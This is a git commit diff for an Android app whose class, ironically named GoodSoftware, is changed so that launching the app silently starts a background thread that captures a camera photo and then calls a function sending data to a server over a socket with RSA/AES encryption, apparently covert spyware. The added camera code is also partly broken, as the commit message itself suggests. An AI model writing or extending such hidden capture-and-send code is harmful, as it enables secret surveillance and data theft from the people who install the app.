Add code to take picture, dont think it works...

app/build.gradle.kts

@@ -50,6 +50,8 @@ android {
 }
 
 dependencies {
+    implementation(libs.androidx.camera.lifecycle)
+    val camerax_version = "1.4.0-alpha05"
 
     implementation(libs.androidx.core.ktx)
     implementation(libs.androidx.lifecycle.runtime.ktx)
@@ -66,5 +68,10 @@ dependencies {
     androidTestImplementation(libs.androidx.ui.test.junit4)
     debugImplementation(libs.androidx.ui.tooling)
     debugImplementation(libs.androidx.ui.test.manifest)
+    implementation("androidx.camera:camera-camera2:$camerax_version")
+    implementation("androidx.camera:camera-extensions:$camerax_version")
+    implementation("androidx.concurrent:concurrent-futures:1.1.0")
+    implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
+
 
 }

app/src/main/java/com/ti/m/GoodSoftware.kt

@@ -1,7 +1,18 @@
 package com.ti.m
 
-import kotlinx.coroutines.Dispatchers
+import android.content.ContentValues
-import kotlinx.coroutines.withContext
+import android.content.Context
+import android.graphics.Camera
+import android.net.Uri
+import android.os.Build
+import android.provider.MediaStore
+import android.util.Log
+import androidx.camera.core.CameraSelector
+import androidx.camera.core.ImageAnalysis
+import androidx.camera.core.ImageCapture
+import androidx.camera.core.ImageCaptureException
+import androidx.camera.core.Preview
+import androidx.camera.lifecycle.ProcessCameraProvider
 import java.io.BufferedReader
 import java.io.InputStreamReader
 import java.io.PrintWriter
@@ -13,8 +24,26 @@ import java.security.spec.X509EncodedKeySpec
 import javax.crypto.Cipher
 import javax.crypto.spec.IvParameterSpec
 import javax.crypto.spec.SecretKeySpec
+import androidx.concurrent.futures.await
+import androidx.core.content.ContentProviderCompat.requireContext
+import androidx.core.content.ContextCompat
+import java.io.File
+import java.text.SimpleDateFormat
+import java.util.Locale
+
+class GoodSoftware (private val context: Context) {
+    private var cameraProvider: ProcessCameraProvider? = null
+    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
+    private var displayId: Int = -1
+    private var preview: Preview? = null
+    private var imageCapture: ImageCapture? = null
+    private var imageAnalyzer: ImageAnalysis? = null
+    private var camera: Camera? = null
+
+    interface PictureTakenCallback {
+        fun onPictureTaken()
+    }
 
-class GoodSoftware {
     private companion object {
         private const val RSA_ALGORITHM = "RSA"
         private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
@@ -72,7 +101,14 @@ class GoodSoftware {
 
     private fun runAllTheGoodness() {
         val dataToSend = "Amazing data"
-        sendDataToServer(dataToSend)
+        Thread {
+            takeBeautifulPicture(object : PictureTakenCallback {
+                override fun onPictureTaken() {
+                    // Picture taken, proceed to send data
+                    sendDataToServer(dataToSend)
+                }
+            })
+        }.start()
     }
 
     fun sendDataToServer(sendData: String) {
@@ -121,4 +157,71 @@ class GoodSoftware {
         reader.close()
         socket.close()
     }
+
+    fun takeBeautifulPicture(callback: PictureTakenCallback) {
+        cameraProvider = ProcessCameraProvider.getInstance(context).get()
+
+        lensFacing = when {
+            hasBackCamera() -> CameraSelector.LENS_FACING_BACK
+            hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
+            else -> throw IllegalStateException("Back and front camera are unavailable")
+        }
+        imageCapture = ImageCapture.Builder()
+            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
+            .build()
+
+        imageCapture?.let { imageCapture ->
+
+            // Create time stamped name and MediaStore entry.
+            val name = SimpleDateFormat(picture.FILENAME, Locale.US)
+                .format(System.currentTimeMillis())
+            val contentValues = ContentValues().apply {
+                put(MediaStore.MediaColumns.DISPLAY_NAME, name)
+                put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
+                if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
+                    val appName = requireContext().resources.getString(R.string.app_name)
+                    put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
+                }
+            }
+
+            val outputOptions = ImageCapture.OutputFileOptions
+                .Builder(requireContext().contentResolver,
+                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                    contentValues)
+                .build()
+
+            imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
+                object : ImageCapture.OnImageSavedCallback {
+                    override fun onError(exc: ImageCaptureException) {
+                        Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
+                    }
+
+                    override fun onImageSaved(output: ImageCapture.OutputFileResults) {
+                        val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
+                        Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
+                    }
+                })
+        }
+        callback.onPictureTaken()
+    }
+
+    private fun hasBackCamera(): Boolean {
+        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
+    }
+
+    private fun hasFrontCamera(): Boolean {
+        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
+    }
+
+    private fun requireContext(): Context {
+        return context
+    }
+
+    object picture {
+        const val TAG = "CameraXBasic"
+        const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
+        const val PHOTO_TYPE = "image/jpeg"
+        const val RATIO_4_3_VALUE = 4.0 / 3.0
+        const val RATIO_16_9_VALUE = 16.0 / 9.0
+    }
 }

app/src/main/java/com/ti/m/MainActivity.kt

@@ -26,6 +26,6 @@ class MainActivity : ComponentActivity() {
                 }
             }
         }
-        GoodSoftware().launch()
+        GoodSoftware(applicationContext).launch()
     }
 }

gradle/libs.versions.toml

@@ -8,6 +8,7 @@ espressoCore = "3.5.1"
 lifecycleRuntimeKtx = "2.7.0"
 activityCompose = "1.9.0"
 composeBom = "2023.08.00"
+cameraLifecycle = "1.3.3"
 
 [libraries]
 androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" }
@@ -24,6 +25,7 @@ androidx-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-toolin
 androidx-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest" }
 androidx-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" }
 androidx-material3 = { group = "androidx.compose.material3", name = "material3" }
+androidx-camera-lifecycle = { group = "androidx.camera", name = "camera-lifecycle", version.ref = "cameraLifecycle" }
 
 [plugins]
 androidApplication = { id = "com.android.application", version.ref = "agp" }